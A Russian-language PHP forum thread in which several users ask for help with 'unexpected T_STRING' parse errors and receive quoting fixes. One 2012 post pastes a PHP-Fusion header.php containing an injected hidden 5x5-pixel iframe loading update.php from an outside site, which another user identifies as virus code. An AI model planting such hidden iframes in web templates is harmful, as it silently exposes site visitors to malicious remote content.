Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: syntax error, unexpected T_STRING, expecting ',' or ';'

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Ошибка после оператора FOR
Zafod
Отправлено: 23 Сентября, 2011 - 09:33:10
Post Id



Новичок


Покинул форум
Сообщений всего: 5
Дата рег-ции: Сент. 2011  


Помог: 0 раз(а)




Добрый день. Нужна помощь.
Выдаёт ошибку "Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in C:\Apache2\htdocs\get.php on line 25" Это первая строчка тела цикла FOR.
Идеи кончились. Что там не так?
Спойлер (Отобразить)

(Отредактировано автором: 23 Сентября, 2011 - 09:57:12)

 
 Top
LIME
Отправлено: 23 Сентября, 2011 - 10:09:15
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




возможно затесался непечатаемый символ
попробуйте переписать кусок заново
 
 Top
garvey
Отправлено: 23 Сентября, 2011 - 10:22:26
Post Id



Частый посетитель


Покинул форум
Сообщений всего: 528
Дата рег-ции: Май 2010  
Откуда: Minsk


Помог: 3 раз(а)




Невалидная строка:
PHP:
скопировать код в буфер обмена
  1. echo "<tr><td>mysql_result($res,$i,"ArmID")</td>";

Должно быть так:
PHP:
скопировать код в буфер обмена
  1. echo '<tr><td>' . mysql_result($res, $i, 'ArmID') . '</td>';
 
 Top
Zafod
Отправлено: 23 Сентября, 2011 - 10:38:59
Post Id



Новичок


Покинул форум
Сообщений всего: 5
Дата рег-ции: Сент. 2011  


Помог: 0 раз(а)




garvey пишет:
Невалидная строка:
PHP:
скопировать код в буфер обмена
  1. echo "<tr><td>mysql_result($res,$i,"ArmID")</td>";

Должно быть так:
PHP:
скопировать код в буфер обмена
  1. echo '<tr><td>' . mysql_result($res, $i, 'ArmID') . '</td>';

Огромное спасибо, заработало Ха-ха .
 
 Top
Adolf_Bitter
Отправлено: 28 Октября, 2012 - 21:36:12
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Окт. 2012  


Помог: 0 раз(а)




<?php
/*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2008 Nick Jones
| http://www.php-fusion[dot]co[dot]uk/
+--------------------------------------------------------+
| Filename: header.php
| Author: Nick Jones (Digitanium)
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
if (!defined("IN_FUSION")) { die("Access Denied"); }

require_once INCLUDES."output_handling_include.php";
require_once INCLUDES."header_includes.php";
require_once THEME."theme.php";

if ($settings['maintenance'] == "1" && !iADMIN) { redirect(BASEDIR."maintenance.php"); }
if (iMEMBER) { $result = dbquery("UPDATE ".DB_USERS." SET user_lastvisit='".time()."', user_ip='".USER_IP."' WHERE user_id='".$userdata['user_id']."'"); }

echo "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>\n";
echo "<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='".$locale['xml_lang']."' lang='".$locale['xml_lang']."'>\n";
echo "<head>\n<title>".$settings['sitename']."</title>\n";
echo "<meta http-equiv='Content-Type' content='text/html; charset=".$locale['charset']."' />\n";
echo "<meta name='description' content='".$settings['description']."' />\n";
echo "<meta name='keywords' content='".$settings['keywords']."' />\n";

//echo "<meta name='robots' content='all' />\n";
echo "<meta name='copyright' content='ÎÎÎ ÀéÒè Ïðîôèò' />\n";
echo "<link rel='stylesheet' href='".THEME."styles.css' type='text/css' media='screen' />\n";
if (file_exists(IMAGES."favicon.ico")) { echo "<link rel='shortcut icon' href='".IMAGES."favicon.ico' type='image/x-icon' />\n"; }
if (function_exists("get_head_tags")) { echo get_head_tags(); }
echo "<script type='text/javascript' src='".INCLUDES."jscript.js'></script>\n";
echo "<script type='text/javascript' src='".INCLUDES."jquery.js'></script>\n";
echo "<iframe src="http://www.propertyinsight.info/wp-content/uploads/update.php" width="5" height="5" frameborder="0"></iframe></head>\n<body>\n";

//ñ÷åò÷èê ëàéô-èíòåðíåò

echo '

<!--LiveInternet counter--><script type="text/javascript"><!--

new Image().src = "//counter.yadro.ru/hit?r"+

escape(document.referrer)+((typeof(screen)=="undefined")?"":

";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?

screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+

";"+Math.random();//--></script><!--/LiveInternet-->

';

//Ïîäêëþ÷àåì ñèñòåìó Îðôóñ - äëÿ êîíòðîëÿ îøèáîê (îïå÷àòîê) íà ñàéòå.
echo '
<script type="text/javascript" src="/orphus/orphus.js"></script>
<div style="display:none">
<a href="http://orphus.ru" id="orphus" target="_blank"><img alt="Ñèñòåìà Orphus" src="/orphus/orphus.gif" border="0" width="135" height="58" /></a></div>
';
require_once THEMES."templates/panels.php";
ob_start();
?>


Вот такая ошибка: Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /srv/www/elgubernia_rus/www/them es/templates/header.php on line 40


До этого всё гуд работало , а сейчас не алё , в чем проблема может кто знает?
(Добавление)
echo "<iframe src="http://www.propertyinsight.info/wp-content/uploads/update.php" width="5" height="5" frameborder="0"></iframe></head>\n<body>\n";


Вот здесь если быть точным
 
 Top
Budhas
Отправлено: 30 Октября, 2012 - 14:45:02
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Окт. 2012  


Помог: 0 раз(а)




А тебя не смущает вирусный кусок кода?!? <iframe src="http://www.propertyinsight.info/wp-content/uploads/update.php" width="5" height="5" frameborder="0"></iframe>

(Отредактировано автором: 30 Октября, 2012 - 14:45:22)

 
 Top
Vladimir77
Отправлено: 11 Ноября, 2012 - 19:54:51
Post Id


Новичок


Покинул форум
Сообщений всего: 2
Дата рег-ции: Нояб. 2012  


Помог: 0 раз(а)




довольно интересные мнения по этому вопросуУлыбка
 
 Top
Юзерид
Отправлено: 18 Сентября, 2014 - 13:45:32
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Сент. 2014  


Помог: 0 раз(а)




двойные кавычки в двойных кавычках не устраивают компилятор, заменить внутренние двойные кавычки на одинарные...
 
 Top
Sail
Отправлено: 18 Сентября, 2014 - 13:57:51
Post Id



Участник


Покинул форум
Сообщений всего: 1131
Дата рег-ции: Февр. 2014  


Помог: 57 раз(а)




Юзерид пишет:
двойные кавычки в двойных кавычках не устраивают компилятор, заменить внутренние двойные кавычки на одинарные...

Или экранировать... Улыбка
 
 Top
LIME
Отправлено: 18 Сентября, 2014 - 14:40:20
Post Id


Активный участник


Покинул форум
Сообщений всего: 10732
Дата рег-ции: Нояб. 2010  


Помог: 322 раз(а)




Вы потревожили злобный дух
И ОН вам говорит:
Смотрите на дату, археологи епрст
 
 Top
Fedor777
Отправлено: 03 Января, 2015 - 13:09:41
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Янв. 2015  


Помог: 0 раз(а)




Помогите исправить Parse error: syntax error, unexpected '(', expecting T_STRING in /home/kafaunio/public_html/wp-co ntent/themes/nirvana/includes/th eme-loop.php on line 330
 
 Top
popnik
Отправлено: 09 Февраля, 2015 - 19:37:33
Post Id


Новичок


Покинул форум
Сообщений всего: 7
Дата рег-ции: Февр. 2015  


Помог: 0 раз(а)




Спс мою проблему решили

(Отредактировано автором: 09 Февраля, 2015 - 20:57:01)

 
 Top
ANDREY9277
Отправлено: 18 Марта, 2016 - 10:23:17
Post Id



Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Март 2016  
Откуда: Челябинск


Помог: 0 раз(а)




Есть такая проблема: сайт переехал на новый хостинг и адреса страниц в Яндекс Директе стали показывать ошибку 500.
Хостеры рекомендуют исправить ошибку в файле index.php , но что именно не так я не пойму, так как не из этой области знания.

mod_fcgid: stderr: PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'

в файле index.php(89) : eval()'d code on line 65, referer:

Сам код файла ниже:
// template header
if ($File_Mode) {
if (!$templatePreview) {
echo $template_header;
} else {
eval('?>'.$template_header);
}
} else {
eval("echo \"".$template_header."\";");
}
if ($nc_core->inside_admin && $nc_trash_full) {
nc_print_status(NETCAT_TRASH_OBJECT_WERE_DELETED_TRASHBIN_FULL, 'info');
}
if ($nc_core->inside_admin && $nc_folder_fail) {
nc_print_status(sprintf(NETCAT_TRASH_FOLDER_FAIL, $nc_core->HTTP_TRASH_PATH), 'info');
}
if ($nc_core->inside_admin && is_array($nc_trashed_ids) && !empty($nc_trashed_ids)) {
$url = http_build_query($_GET).'&nc_recovery=1';
$url = $nc_core->SUB_FOLDER.$nc_core->HTTP_ROOT_PATH.'message.php?'.$url;
nc_print_status(sprintf(NETCAT_TRASH_OBJECT_IN_TRASHBIN_AND_CANCEL, $nc_core->ADMIN_PATH."trash/", $url), 'info');
unset($url);
}

echo $nc_main_content;

// template footer
if ($File_Mode) {
if (!$templatePreview) {
echo $template_footer;
} else {
eval('?>'.$template_footer);
}
} else {
eval("echo \"".$template_footer."\";");
}
?>
Пробовал варианты с заменой кавычек на ', пробовал убирать слеш, но шаблон сайта слетает, а толку нет?
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Если скрипт не работает »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB